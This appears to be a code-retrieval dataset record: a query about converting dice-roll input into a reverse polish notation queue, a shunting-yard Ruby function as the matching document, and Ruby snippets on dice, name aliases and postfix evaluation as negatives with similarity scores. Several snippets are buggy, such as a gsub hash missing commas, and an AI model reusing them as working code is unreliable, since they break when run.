"def alias_creator(full_name)\n full_name = full_name.downcase\n name = full_name.split(' ').to_a\n first_name = name[0]\n last_name = name[1]\n first_name_letters = first_name.split('')\n last_name_letters = last_name.split('')\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\", \"a\"]\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\", \"b\"]\n \n first_name_letters.map! do |letter|\n if vowels.include?(letter)\n letter_index = vowels.index(letter)\n new_letter_index = letter_index + 1\n letter = vowels[new_letter_index]\n elsif consonants.include?(letter)\n letter_index = consonants.index(letter)\n new_letter_index = letter_index + 1\n letter = consonants[new_letter_index]\n end\n end\n new_first_name = first_name_letters.join('').capitalize\n \n last_name_letters.map! do |letter|\n if vowels.include?(letter)\n letter_index = vowels.index(letter)\n new_letter_index = letter_index + 1\n letter = vowels[new_letter_index]\n elsif consonants.include?(letter)\n letter_index = consonants.index(letter)\n new_letter_index = letter_index + 1\n letter = consonants[new_letter_index]\n end\n end\n new_last_name = last_name_letters.join('').capitalize\n\n new_name = new_last_name + \" \" + new_first_name\n return new_name\n \nend",
"def dice_outcomes(dice, rolls)\n outcomes = []\n rolls.times do |roll|\n outcomes << roll_dice(dice)\n end\n occurences = outcomes.each_with_object(Hash.new(0)) do |outcome, count|\n count[outcome] += 1\n end\n occurences.sort.map do |key, val|\n outcome = \"\"\n val.times do\n outcome << '#'\n end\n $stdout.puts \"#{key}: #{outcome}\"\n end\nend",
"def saying(source: nil)\n sourced_sayings = translate('faker.dune.sayings').keys\n\n if source.nil?\n source = sample(sourced_sayings).to_s\n else\n source = source.to_s.downcase\n\n unless sourced_sayings.include?(source.to_sym)\n raise ArgumentError,\n \"Sources quoted in sayings can be left blank or #{sourced_sayings.join(', ')}\"\n end\n end\n\n fetch(\"dune.sayings.#{source}\")\n end",
"def roll_die\n die_roll = rand(1..6)\n #\nend",
"def dice_outcomes(die=1, rolls=1)\n\tresults = Hash.new(0)\n\n\t# Roll the dice rolls times and track the sums in hash\n\trolls.times do \n\t\tresults[roll_dice(die)] += 1 # Utilize existing function! Ruby will evaluate L side first\n\tend\n\n\t# Print out number each possible outcome occurred\n\t(1..(6*die)).each do |key|\n\t\tputs \"#{key}: \" + \"\\#\"*results[key]\n\tend\nend",
"def dices\n\t\t@rollAgain = 0\n\t\t@goalParam = 0\n\tend",
"def claim(args)\n \"#{calc(@total_dice_in_game, args[:dice]) + calc(@total_dice_in_game, @total_dice_in_game)}%\"\n end",
"def rainbowSpeak1(sentence)\n\trandNum = 0\n\tpreviousRandNum = 0\n\tletterArr = []\n\n\tsentence = sentence.split('')\n\n\tsentence.each do |letter|\n\t\twhile (randNum == previousRandNum)\n\t\t\trandNum = rand(1...7) \n\t\tend\n\n\t\tcase randNum\n\t\twhen 1\n\t\t\tletterArr.push(letter.colorize(:red))\n\t\twhen 2\n\t\t\tletterArr.push(letter.colorize(:green))\n\t\twhen 3\n\t\t\tletterArr.push(letter.colorize(:yellow))\n\t\twhen 4\n\t\t\tletterArr.push(letter.colorize(:blue))\n\t\twhen 5\n\t\t\tletterArr.push(letter.colorize(:magenta))\n\t\twhen 6\n\t\t\tletterArr.push(letter.colorize(:cyan))\n\t\twhen 7\n\t\t\tletterArr.push(letter.colorize(:white))\n\t\tend\n\t\n\t\tpreviousRandNum = randNum\n\tend\n\treturn letterArr.join(\"\")\nend",
"def shout_out_to(name)\n name.chars.each { |c| c.upcase! }\n\n puts 'HEY ' + name\nend",
"def bankroll_to_s\n return \"#@name [\\$#{@bankroll.to_s}]\"\n end",
"def aliased_name; end",
"def %(enemy)\n lettuce = rand(charisma)\n puts \"[Healthy lettuce gives you #{lettuce} life points!!]\"\n @life += lettuce\n fight(enemy, 0)\n end",
"def %(enemy)\n lettuce = rand(charisma)\n puts \"[healthy lettuce gives you #{lettuce} life points]\"\n @life +=lettuce\n fight(enemy, 0)\n end",
"def frase\n option = 0\n loop do\n option = (rand * 5.5).to_i\n break if option > 0\n end\n case option\n when 1\n return \"Amazing! \"\n when 2\n return \"Good roll! \"\n when 3\n return \"Incredible! \"\n when 4\n return \"Good movement! \"\n when 5\n return \"Are you cheating? \"\n end\n end",
"def rand_let options={}\r\n\tuppercase = random(0, 2) == 1\r\n\tuppercaseLet = random(65, 91).chr\r\n\tletter = (uppercase) ? (uppercaseLet) : (uppercaseLet.downcase) \r\n\tletter\r\nend",
"def random_name\n (1..3).map {\"\" << rand(26) + 65}.to_s\n end",
"def getAlias(name)\n\t# Downcase + Swap the first and last name\n\talias_name = name.downcase\n\talias_name = alias_name.split(' ')\n\talias_name.reverse!\n\n\t# Convert string to char array in order to call nextLetters()\n\talias_name = alias_name.join(' ')\n\talias_name = alias_name.split('')\n\talias_name = nextLetters(alias_name)\n\t\n\t# Capitalize each name\n\talias_name = alias_name.join('')\n\talias_name = alias_name.split(' ')\n\talias_name.map! { |name| name.capitalize}\n\talias_name = alias_name.join(' ')\nend",
"def obfuscate(name, seed = nil)\n rnd = Random.new(seed || @seed)\n vowels = %w(A E I O U)\n consonants = ('A'..'Z').to_a - vowels\n digits = ('0'..'9').to_a\n dict = Hash[(vowels + consonants + digits).zip(vowels.shuffle(random: rnd) +\n consonants.shuffle(random: rnd) +\n digits.shuffle(random: rnd))]\n name.upcase.split(//).map { |s| dict[s] || s }.join\n end",
"def alias_maker(fullname)\n\tname_arr = fullname.split(' ')\n\tname_arr.reverse! \n\tfullname = name_arr.join\n\talias_name = fullname.gsub(/[aeiou]/, \n\t\t'a' => 'e'\n\t\t'e' => 'i'\n\t\t'i' => 'o'\n\t\t'o' => 'u'\n\t\t'u' => 'a'\n\t\t)\nalias_name.gsub!(/[bcdfghjklmnpqrstvwxyz]/,\n'b' => 'c', 'c' => 'd', 'd' => 'f', 'f' => 'g',\n'g' => 'h', 'h' => 'j', 'j' => 'k', 'k' => 'l',\n'l' => 'm', 'm' => 'n', 'n' =>'p', 'p' => 'q',\n'q' => 'r','r' => 's', 's' => 't', 't' => 'u',\n'u' => 'v', 'v' => 'w', 'w' => 'x', 'x' => 'y',\n'y' => 'z', 'z' => 'b'\n)\nend",
"def mutate_ugcid(_)\n (ALPHABET.sample(6) + DIGITS.sample(4)).join\n end",
"def showAlias\n puts \"showAlias.\"\nend",
"def make_juice(juice)\n puts \"You want #{juice} juice.\"\n end",
"def roll_die(sides)\n\tresult = 1 + rand(sides)\nend",
"def dice\n rand(1..6) + rand(1..6)\nend",
"def alias_method (name)\r\n\tnew_first = []\r\n\tnew_last = []\r\n\tvowels_string = \"aeiou\"\r\n\tvowels = vowels_string.split('')\r\n\tconsonants_string = \"bcdfghjklmnpqrstvwxyz\"\r\n\tconsonants = consonants_string.split('')\r\n\ttwo_names = name.split(' ')\r\n\tfirst_name = two_names[0].split('')\r\n\tlast_name = two_names[1].split('')\r\n\tlast_name.each do |character|\r\n\t\tcharacter = character.downcase\r\n\t\tif vowels.include?(character)\r\n\t\t\tindex = vowels.index(character)\r\n\t\t\tnew_last.push(vowels[index + 1])\r\n\t\tend\r\n\t\tif consonants.include?(character)\r\n\t\t\tindex = consonants.index(character)\r\n\t\t\tnew_last.push(consonants[index + 1])\r\n\t\tend\r\n\t\tif character.downcase == 'z'\r\n\t\t\tnew_last.push('b')\r\n\t\tend\r\n\t\tif character.downcase == 'u'\r\n\t\t\tnew_last.push('a')\r\n\t\tend\r\n\tend\r\n\tfirst_name.each do |character|\r\n\t\tcharacter = character.downcase\r\n\t\tif vowels.include?(character)\r\n\t\t\tindex = vowels.index(character)\r\n\t\t\tnew_first.push(vowels[index + 1])\r\n\t\tend\r\n\t\tif consonants.include?(character)\r\n\t\t\tindex = consonants.index(character)\r\n\t\t\tnew_first.push(consonants[index + 1])\r\n\t\tend\r\n\t\tif character.downcase == 'z'\r\n\t\t\tnew_first.push('b')\r\n\t\tend\r\n\t\tif character.downcase == 'u'\r\n\t\t\tnew_first.push('a')\r\n\t\tend\r\n\tend\r\n\tnew_last.push(' ')\r\n\tnew_last = new_last.join('').capitalize\r\n\tnew_first = new_first.join('').capitalize\r\n\treturn_val = new_last + new_first\r\n\treturn_val\r\nend",
"def dice()\n\n\n begin\n @ruleStack.push('dice')\n # dice.g:88:7: ( atom ( 'd' ( cent | atom ) )* | ( 'd' ( cent | atom ) )* )\n alt7 = 2\n look_ahead7_0 = input.look_ahead(1).token_type\n if look_ahead7_0 == NUMBER || look_ahead7_0 == 12 \n alt7 = 1\n elsif look_ahead7_0 == -1 || (look_ahead7_0 >= 6 && look_ahead7_0 <= 10) || look_ahead7_0 == 13 \n alt7 = 2\n else\n\n nvae = ANTLR::NoViableAltException.new(\"88:1: dice : ( atom ( \\'d\\' ( cent | atom ) )* | ( \\'d\\' ( cent | atom ) )* );\", 7, 0, @input)\n\n raise nvae\n end\n case alt7\n when 1\n # dice.g:88:7: atom ( 'd' ( cent | atom ) )*\n\n #@following.push(FOLLOW_atom_in_dice145)\n atom()\n #@following.pop\n\n\n # dice.g:88:12: ( 'd' ( cent | atom ) )*\n #catch (:loop4) do\n \twhile true\n \t\talt4 = 2\n \t\tlook_ahead4_0 = input.look_ahead(1).token_type\n \t\tif look_ahead4_0 == 10 \n \t\t alt4 = 1\n\n \t\tend\n\n \t\tcase alt4\n \t\t\twhen 1\n \t\t\t # dice.g:88:13: 'd' ( cent | atom )\n\n \t\t\t match(10, nil) # FOLLOW_10_in_dice148\n\n\n \t\t\t # dice.g:88:17: ( cent | atom )\n \t\t\t alt3 = 2\n \t\t\t look_ahead3_0 = input.look_ahead(1).token_type\n \t\t\t if look_ahead3_0 == 11 \n \t\t\t alt3 = 1\n \t\t\t elsif look_ahead3_0 == NUMBER || look_ahead3_0 == 12 \n \t\t\t alt3 = 2\n \t\t\t else\n\n \t\t\t nvae = ANTLR::NoViableAltException.new(\"88:17: ( cent | atom )\", 3, 0, @input)\n\n \t\t\t raise nvae\n \t\t\t end\n \t\t\t case alt3\n \t\t\t when 1\n \t\t\t # dice.g:88:18: cent\n\n \t\t\t #@following.push(FOLLOW_cent_in_dice151)\n \t\t\t cent()\n \t\t\t #@following.pop\n\n\n\n\n \t\t\t when 2\n \t\t\t # dice.g:88:25: atom\n\n \t\t\t #@following.push(FOLLOW_atom_in_dice155)\n \t\t\t atom()\n \t\t\t #@following.pop\n\n\n\n\n\n \t\t\t end\n\n\n\n \t\t\t sides, num_rolls = @stack.pop, @stack.pop || 1\n \t\t\t dbg \"\\nRoll: #{sides} sides, #{num_rolls} rolls\" \n\n \t\t\t this_roll = 0\n \t\t\t num_rolls.times do |i|\n \t\t\t this_roll += (tr = @roll_proc[sides])\n \t\t\t dbg \" roll#{i+1} = #{tr}\"\n \t\t\t end\n\n \t\t\t @stack.push(this_roll)\n \t\t\t dbg \" total = #{this_roll}\"\n \t\t\t \n\n\n\n\n \t\t\telse\n \t\t\t\tbreak\n \t\t\t\t#throw :loop4\n \t\tend\n \tend\n #end\n\n\n\n\n when 2\n # dice.g:101:5: ( 'd' ( cent | atom ) )*\n\n # dice.g:101:5: ( 'd' ( cent | atom ) )*\n #catch (:loop6) do\n \twhile true\n \t\talt6 = 2\n \t\tlook_ahead6_0 = input.look_ahead(1).token_type\n \t\tif look_ahead6_0 == 10 \n \t\t alt6 = 1\n\n \t\tend\n\n \t\tcase alt6\n \t\t\twhen 1\n \t\t\t # dice.g:101:6: 'd' ( cent | atom )\n\n \t\t\t match(10, nil) # FOLLOW_10_in_dice167\n\n\n \t\t\t # dice.g:101:10: ( cent | atom )\n \t\t\t alt5 = 2\n \t\t\t look_ahead5_0 = input.look_ahead(1).token_type\n \t\t\t if look_ahead5_0 == 11 \n \t\t\t alt5 = 1\n \t\t\t elsif look_ahead5_0 == NUMBER || look_ahead5_0 == 12 \n \t\t\t alt5 = 2\n \t\t\t else\n\n \t\t\t nvae = ANTLR::NoViableAltException.new(\"101:10: ( cent | atom )\", 5, 0, @input)\n\n \t\t\t raise nvae\n \t\t\t end\n \t\t\t case alt5\n \t\t\t when 1\n \t\t\t # dice.g:101:11: cent\n\n \t\t\t #@following.push(FOLLOW_cent_in_dice170)\n \t\t\t cent()\n \t\t\t #@following.pop\n\n\n\n\n \t\t\t when 2\n \t\t\t # dice.g:101:18: atom\n\n \t\t\t #@following.push(FOLLOW_atom_in_dice174)\n \t\t\t atom()\n \t\t\t #@following.pop\n\n\n\n\n\n \t\t\t end\n\n\n\n \t\t\t @stack.push(tr = @roll_proc[sides = @stack.pop])\n \t\t\t dbg \"\\nRoll: #{sides} sides, 1 roll\" \n \t\t\t dbg \" roll1 = #{tr}\\n total = #{tr}\" \n \t\t\t \n\n\n\n\n \t\t\telse\n \t\t\t\tbreak\n \t\t\t\t#throw :loop6\n \t\tend\n \tend\n #end\n\n\n\n\n\n end\n rescue ANTLR::RecognitionException => e\n report_error(e)\n #raise e\n ensure\n @ruleStack.pop\n end\n\n end",
"def to_alias_chars(name_chars)\nname_chars.map! do |character|\n\tcharacter = character.downcase\n\tif character == \"a\"\n\t\tnext_vowel(character)\n\telsif character == \"e\"\n\t\tnext_vowel(character)\n\telsif character == \"i\"\n\t\tnext_vowel(character)\n\telsif character == \"o\"\n\t\tnext_vowel(character)\n\telsif character == \"u\"\n\t\tnext_vowel(character)\n\telse \n\t\tnext_consonant(character)\n\tend\nend\nend",
"def roll_a_dice\n\t\trand(1..6)\n\tend",
"def to_s\n self.alias\n end",
"def roll_die\n Random.new.rand(1..6)\nend",
"def roll\n return rand(1..6) #if you use two dots it includes the 6 at the end\n # if you use three dots it excludes the last number in this case the 6\nend",
"def to_alias\n \"-#{@alias}\"\n end"
] |
[
"0.62408054",
"0.60986745",
"0.6031919",
"0.60224485",
"0.59543765",
"0.59313226",
"0.589812",
"0.5848641",
"0.58262503",
"0.5806883",
"0.5749238",
"0.57378244",
"0.5732169",
"0.5672092",
"0.56484675",
"0.5642962",
"0.5627511",
"0.560511",
"0.5600599",
"0.5553079",
"0.552579",
"0.55112827",
"0.5510376",
"0.5470294",
"0.54626673",
"0.54570377",
"0.5442879",
"0.54361975",
"0.54138863",
"0.54126143",
"0.5402515",
"0.53999877",
"0.53770673",
"0.5375366",
"0.5374496",
"0.5370947",
"0.53654915",
"0.5365137",
"0.5356036",
"0.5350432",
"0.534603",
"0.5330114",
"0.5307197",
"0.53047967",
"0.52617717",
"0.52617705",
"0.5261417",
"0.52598053",
"0.5257384",
"0.5255279",
"0.52482927",
"0.5242071",
"0.52372825",
"0.52356803",
"0.52230406",
"0.5217396",
"0.52086055",
"0.52040654",
"0.5203743",
"0.5185936",
"0.51769966",
"0.5174574",
"0.51729363",
"0.5172625",
"0.51690906",
"0.5166691",
"0.5153427",
"0.5148722",
"0.5147686",
"0.51446414",
"0.51443243",
"0.5139097",
"0.51337606",
"0.5132108",
"0.51270205",
"0.5122186",
"0.5114524",
"0.5111485",
"0.51073325",
"0.5099789",
"0.5096534",
"0.50910604",
"0.5089062",
"0.5081585",
"0.50798994",
"0.5079481",
"0.5062667",
"0.5062323",
"0.5058749",
"0.50564855",
"0.5048798",
"0.50485104",
"0.5048318",
"0.5046341",
"0.50443304",
"0.5043592",
"0.5041351",
"0.5036728",
"0.50349987",
"0.50340855"
] |
0.59135455
|
6
|
Takes raw input and returns a reverse polish notation queue of operators and Integers
|
def convert_input_to_rpn_queue(event, input)
split_input = input.scan(%r{\b(?:\d+d\d+(?:\s?[a-z]+\d+|\s?e+\d*|\s?[ie]+\d*)*)|[+\-*/]|(?:\b\d+\b)|[()]}i) # This is the tokenization string for our input
# change to read left to right order
input_queue = []
input_queue.push(split_input.pop) while split_input.length > 0
operator_priority = {
'+' => 1,
'-' => 1,
'*' => 2,
'/' => 2
}
output_queue = []
operator_stack = []
# Use the shunting yard algorithm to get our order of operations right
while input_queue.length > 0
input_queue_peek = input_queue.last
if input_queue_peek.match?(/\b\d+\b/) # If constant in string form
output_queue.prepend(Integer(input_queue.pop))
elsif input_queue_peek.match?(/\b\d+d\w+/i) # If dice roll
output_queue.prepend(process_roll_token(event, input_queue.pop))
elsif input_queue_peek.match?(%r{[+\-*/]})
# If the peeked operator is not higher priority than the top of the stack, pop the stack operator down
if operator_stack.length == 0 || operator_stack.last == '(' || operator_priority[input_queue_peek] > operator_priority[operator_stack.last]
operator_stack.push(input_queue.pop)
else
output_queue.prepend(operator_stack.pop)
operator_stack.push(input_queue.pop)
end
elsif input_queue_peek == '('
operator_stack.push(input_queue.pop)
elsif input_queue_peek == ')'
while operator_stack.last != '('
output_queue.prepend(operator_stack.pop)
raise "Extra ')' found!" if operator_stack.length == 0
end
operator_stack.pop # Dispose of the closed "("
input_queue.pop # Dispose of the closing ")"
else
raise "Invalid token! (#{input_queue_peek})"
end
end
while operator_stack.length > 0
raise "Extra '(' found!" if operator_stack.last == '('
output_queue.prepend(operator_stack.pop)
end
output_queue
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def process_rpn_token_queue(input_queue)\n output_stack = []\n\n while input_queue.length > 0\n input_queue_peek = input_queue.last\n\n if input_queue_peek.is_a?(Integer)\n output_stack.push(input_queue.pop)\n\n else # Must be an operator\n raise input_queue.pop + ' is not between two numbers!' if output_stack.length < 2\n\n operator = input_queue.pop\n operand_b = output_stack.pop\n operand_a = output_stack.pop\n output_stack.push(process_operator_token(operator, operand_a, operand_b))\n end\n end\n\n raise 'Extra numbers detected!' if output_stack.length > 1\n\n output_stack[0] # There can be only one!\nend",
"def evaluate() \n # operand stack\n opStack = []\n \n # iterate over the tokens\n @postfix.split(\"\").each do |c|\n # check if an operator\n if %w[+ - * / ^].include? c\n # pop the stack for the two operands where\n # a [operator] b\n b, a = opStack.pop, opStack.pop\n \n # evaluate the string as an arithmetic expression\n # replace all '^' characters with '**' operator\n opStack.push(eval(\"(#{a})#{c}(#{b})\".gsub(/\\^/,'**')))\n else\n # push any operands onto stack\n opStack.push(c)\n end\n end\n \n # Last item in stack should be the final answer!\n opStack.pop\n end",
"def evaluate(postfix)\n stack = Stack.new\n operators = \"+-*/^\"\n for i in 0..postfix.size-1\n if !operators.include?(postfix[i])\n stack.push(postfix[i].to_i)\n else\n case postfix[i]\n when '+'\n value = stack.pop() + stack.pop\n when '-'\n b = stack.pop()\n value = stack.pop() - b\n when '*'\n value = stack.pop() * stack.pop\n when '/'\n b = stack.pop()\n value = stack.pop() / b\n when '^'\n b = stack.pop()\n value = stack.pop ^ b\n end\n stack.push(value)\n end\n end\n stack.pop\nend",
"def postfix_evaluator(equation)\n stack = []\n for i in equation do\n if str_to_num(i)\n stack.push(str_to_num(i))\n puts stack\n elsif (\"+-*/\").include?(i)\n second_num = stack.pop\n if stack != []\n first_num = stack.pop\n result = math(i, first_num, second_num)\n stack.push(result)\n else\n raise \"Not enough arguments\"\n end\n else\n raise \"Invalid number\"\n end\n end\n stack.pop()\nend",
"def rpn_calculator\n operators_list = ['+','-','*','/']\n stack = []\n \n def add(stack)\n stack.push(stack.pop + stack.pop)\n end\n \n def minus(stack)\n var1, var2 = stack.pop, stack.pop\n stack.push(var2 - var1)\n end\n \n def multiply(stack)\n stack.push(stack.pop * stack.pop)\n end\n \n def divide(stack)\n stack.push(stack.pop / stack.pop)\n end\n \n def get_user_input\n puts \"enter number or operator into calculator\"\n\n gets.chomp\n end\n \n puts \"enter 'quit' to quit\"\n loop do\n user_choice = get_user_input\n break if user_choice == \"quit\"\n \n if !(operators_list.include?(user_choice))\n stack << user_choice.to_i\n end\n \n case (user_choice)\n when \"+\"\n add(stack)\n when \"-\"\n minus(stack)\n when \"*\"\n multiply(stack)\n when \"/\"\n divide(stack)\n end \n \n \n p stack\n end \nend",
"def get_ops(num)\n operands = Array.new\n while !empty? and !(operands.length >= num)\n operands << pop\n end\n operands.reverse\n end",
"def to_rpn(ast)\n out = []\n ops = []\n\n out.push(ast.shift) unless ast.empty?\n\n until ast.empty? do\n op = ast.shift\n p = OPS[op] || fail(Error \"Unknown operator '#{op}'\")\n\n until ops.empty? do\n break if p > OPS[ops.first]\n out.push(ops.shift)\n end\n\n ops.unshift(op)\n out.push(ast.shift) unless UNARY[op]\n end\n (out.concat(ops)).flatten\n end",
"def parse(input)\n # Removes white space, converts string into an array split by the possible operators (but retaining the operators).\n # Removes empty strings from the array. I'm actually not sure where these are coming from, but I noticed them when the user enters a negative number.\n parsed_input = input.gsub(/\\s+/,\"\").split(/(\\+)|(-)|(\\*)|(\\/)|(\\^)|(%)|(add)|(subtract)|(multiply)|(divide)|(exponent)|(modulo)/).reject { |x| x.empty? }\n # If the first element of the array is a negative sign,\n # reassigns the 2nd element as a joined string of the sign and existing number in the 2nd element,\n # and deletes the 1st element.\n if parsed_input[0] == \"-\"\n parsed_input[1] = parsed_input[0..1].join\n parsed_input.slice!(0)\n end\n # If the 3rd element of the array is a negative sign,\n # reassigns the 4th element as a joined string of the sign and existing number in the 4th element,\n # and deletes the 3rd element.\n if parsed_input[2] == \"-\"\n parsed_input[3] = parsed_input[2..3].join\n parsed_input.slice!(2)\n end\nreturn parsed_input\nend",
"def evaluatePostfix(exprStr)\n \n # split the string into an array by spaces\n exprStr = exprStr.split(\" \");\n\n # stack the holds \n stack = Array.new\n\n # loop through each element in the array\n exprStr.each do |ele|\n \n # check if the current value is an integer\n if operand? ele\n\n # convert the element to an integer and push onto stack\n stack.push ele.to_i\n\n # check if current element is an operator\n elsif operator? ele\n\n # update the ^ operator\n if ele.eql? '^'\n ele = \"**\"\n end \n \n # pop the last two elements from the array\n y, x = stack.pop, stack.pop\n \n # calculate the result of the operation\n result = applyOperator(x, y, ele)\n\n # push the result onto the stack\n stack.push(result)\n end\n end\n return stack.pop\n end",
"def infix_to_postfix(expr, prec)\n output = []\n operators = []\n\n expr.each { |token|\n case token\n when Integer\n output << token\n when :+, :*\n while !operators.empty? && operators[-1] != :\"(\" && prec[operators[-1]] >= prec[token]\n output.push(operators.pop)\n end\n operators.push(token)\n when :\"(\"\n operators.push(token)\n when :\")\"\n while operators[-1] != :\"(\"\n output.push(operators.pop)\n if operators.size == 0\n raise \"No matching parenthesis found.\"\n end\n end\n operators.pop\n end\n }\n\n while !operators.empty?\n if operators[-1] == :\"(\" || operators[-1] == :\")\"\n raise \"Unmatched parenthesis found.\"\n end\n output.push(operators.pop)\n end\n output\nend",
"def calculator\n puts \"RPN Calculator\"\n calc = []\n input = 0\n while input != 'q'\n operand = ['+','-','*','/']\n print '> '\n input = gets.chomp\n if validate?(input) || operand.include?(input)\n if operand.include?(input)\n operand2 = calc.pop.to_f\n operand1 = calc.pop.to_f\n calc << operate(operand1, operand2, input)\n else\n calc << input\n end\n puts calc.last\n end\n end\nend",
"def bc(string)\n # initialize the operators and integers array\n operators = []\n integers = []\n\n # separate integers and operators into different arrays\n integers = string.split(/\\+|\\-|\\*|\\//).map(&:to_i)\n string.each_char do |c|\n if c.match /\\+|\\-|\\*|\\//\n operators << c\n end\n end\n\n # we want to handle * and / first\n count = 0\n operators.each_with_index do |o, i|\n if o.match /\\*|\\//\n r = integers[i-count].send(o, integers[i+1-count])\n integers.delete_at i+1-count\n integers.delete_at i-count\n integers.insert(i, r)\n count += 1\n end\n end\n\n # remove all * and / operators\n operators = operators.select do |o|\n !o.match /\\*|\\//\n end\n\n # we want to handle + and -\n integers.compact!\n count = 0\n operators.each_with_index do |o, i|\n if o.match /\\+|\\-/\n r = integers[i-count].send(o, integers[i+1-count])\n integers.delete_at i+1-count\n integers.delete_at i-count\n integers.insert(i, r)\n count += 1\n end\n end\n\n integers.compact\nend",
"def infixToPostfix(exprStr)\n expression = []\n stack = []\n exprStr.split(/\\s+|\\b/).each do |token|\n if operand? token then\n expression.push token if operand? token\n elsif leftParen? token then\n stack.push token\n elsif operator? token then\n while operator? stack.last\n break if @operators[stack.last][:stack_prec] < @operators[token][:input_prec]\n expression.push stack.pop\n end\n stack.push token\n elsif rightParen? token then\n while operator? stack.last\n if not leftParen? stack.last\n expression.push stack.pop\n else\n stack.pop\n break\n end\n end\n end\n end\n stack.reverse.each {|x| expression.push x}\n expression.join(\" \")\n end",
"def convert_to_postfix tokens\n tokens.each do |token|\n if token.is_a? Integer\n @post_fix_expression << token\n elsif token == \"(\"\n @operator_stack << token\n elsif token.match(/[\\*\\/\\+\\-]/)\n while @operator_stack.last && @operator_stack.last.match(/[\\*\\/\\+\\-]/) && (prescedence_of(token) <= prescedence_of(@operator_stack.last))\n @post_fix_expression << @operator_stack.pop\n end\n @operator_stack << token\n elsif token == \"(\"\n @operator_stack << token\n elsif token == \")\"\n until @operator_stack.last == \"(\"\n @post_fix_expression << @operator_stack.pop\n end\n @operator_stack.pop #throw away the left paren that was stored in the stack\n end\n end \n until @operator_stack.empty?\n @post_fix_expression << @operator_stack.pop\n end \n end",
"def tokens_rpn\n output = []\n operators = []\n\n @tokens.each do |token|\n case token.type\n when :value\n output.push(token)\n when :operator\n if operators.any? && token.lexeme.precedence >= operators.last.lexeme.precedence\n output.push(operators.pop)\n end\n\n operators.push(token)\n end\n end\n\n output.concat(operators.reverse)\n end",
"def evaluate_postfix(postfix)\n postfix = postfix.gsub(\" \", \"\") # remove spaces and get a new string\n operands = Stack.new\n postfix.chars do |token|\n if not operator?(token)\n # operand, push to operand stack\n operands.push token.to_i\n else\n operand2 = operands.pop\n operand1 = operands.pop\n result = nil\n case token\n when \"+\"\n result = operand1 + operand2\n when \"-\"\n result = operand1 - operand2\n when \"*\"\n result = operand1 * operand2\n when \"/\"\n result = operand1 / operand2\n end\n operands.push result if result\n end\n end\n operands.pop # final result on the stack\n end",
"def evaluate_with_two_stacks(string)\n vals = Stack.new\n ops = Stack.new\n\n string.each_char do |char|\n case char\n when \"(\"\n # do nothing\n when \"+\"\n ops.push(char)\n when \"*\"\n ops.push(char)\n when \")\"\n op = ops.pop\n case op\n when \"+\"\n vals.push(vals.pop + vals.pop)\n when \"*\"\n vals.push(vals.pop * vals.pop)\n end\n else\n vals.push(char.to_i)\n end\n end\n\n vals.pop\nend",
"def prefix(queue, operators, number, remaining_operators, remaining_numbers, &block)\n #puts \"queue = #{queue.inspect}, operators = #{remaining_operators} number = #{remaining_numbers}\"\n if remaining_operators == 0\n block.call queue + (1..remaining_numbers).map { |each| number }\n else\n operators.each do |operator|\n new_queue = queue + [operator]\n prefix(new_queue, operators, number, remaining_operators - 1, remaining_numbers, &block) if remaining_operators > 0\n prefix(new_queue + [number], operators, number, remaining_operators - 1, remaining_numbers - 1, &block) if remaining_numbers > 0\n end\n end\n end",
"def evaluate_postfix(postfix_expression)\n operands = Set['+', '-', '*', '/'] # assume only these four operands for now\n stack = Stack.new # track operation results\n\n postfix_expression.each_char do |c| # assume expresion is valid\n if operands.include?(c) # is operand\n b = stack.pop # get second number pushed\n a = stack.pop # pop again for first number pushed\n\n new_top = 0\n\n # calculate new number to push into stack\n new_top += case c\n when '+' \n a + b\n when '-'\n a - b\n when '/'\n a / b\n when '*'\n a * b\n end\n\n stack.push(new_top) # add back to top of stack\n\n else # is number\n stack.push(c.to_i)\n end\n end\n\n return stack.pop\nend",
"def infix_to_postfix(infix)\n infix = infix.gsub(\" \", \"\")\n symstack = Stack.new\n postfix = \"\"\n infix.chars do |token|\n case \n when operand?(token)\n postfix += token\n when symbol?(token)\n case\n when token == \"(\"\n symstack.push token\n when token == \")\"\n while not symstack.empty? and symstack.peek != \"(\"\n postfix += symstack.pop\n end\n symstack.pop # once more to remove the left paren\n when operator?(token)\n # new operator needs to be pushed on the symstack\n # but first we add to output the ones with equal or higher precedence\n # taking care of keeping left parens on the stack\n while ( not symstack.empty? and\n operator?(symstack.peek) and\n higher_or_equal_precedence?(symstack.peek,token)\n )\n postfix += symstack.pop\n end\n symstack.push(token)\n end\n end\n end\n # empty the symstack of remaining operators\n while not symstack.empty?\n postfix += symstack.pop\n end\n postfix\n end",
"def main()\n puts \"What is your equation?\"\n\tequation = gets\n\n infix = InfixPostfix.new()\n\n\tif isPostfix?(equation)\n\t\tequation = infix.infixToPostfix(equation)\n\tend\n\n\tputs \"\\nPostfix\"\n\tputs equation\n\n\tputs \"\\nAnswer\"\n\tputs infix.evaluatePostfix(equation)\nend",
"def solution(s)\n stack = []\n s.split(' ').each do |input|\n case input\n when POP_COMMAND\n entry = stack.pop()\n raise InvalidOperation, 'Empty Stack' if entry == nil\n when DUPLICATE_COMMAND\n entry = stack.pop()\n raise InvalidOperation, 'Empty Stack' if entry == nil\n stack.push(entry)\n stack.push(entry)\n when ADDITION_COMMAND\n first = stack.pop()\n second = stack.pop()\n raise InvalidOperation, 'Empty Stack' if first == nil || second == nil\n raise InvalidOperation, 'Overflow Integer' if (first > UNSIGNED_INTEGER_LIMIT - second)\n stack.push(first + second)\n when SUBTRACTION_COMMAND\n first = stack.pop()\n second = stack.pop()\n raise InvalidOperation, 'Empty Stack' if first == nil || second == nil\n raise InvalidOperation, 'Negative value' if (first < second)\n stack.push(first - second)\n else\n stack.push(Integer(input))\n end\n end\n\n raise InvalidOperation, 'Empty Stack' if stack.length == 0\n stack.pop()\nend",
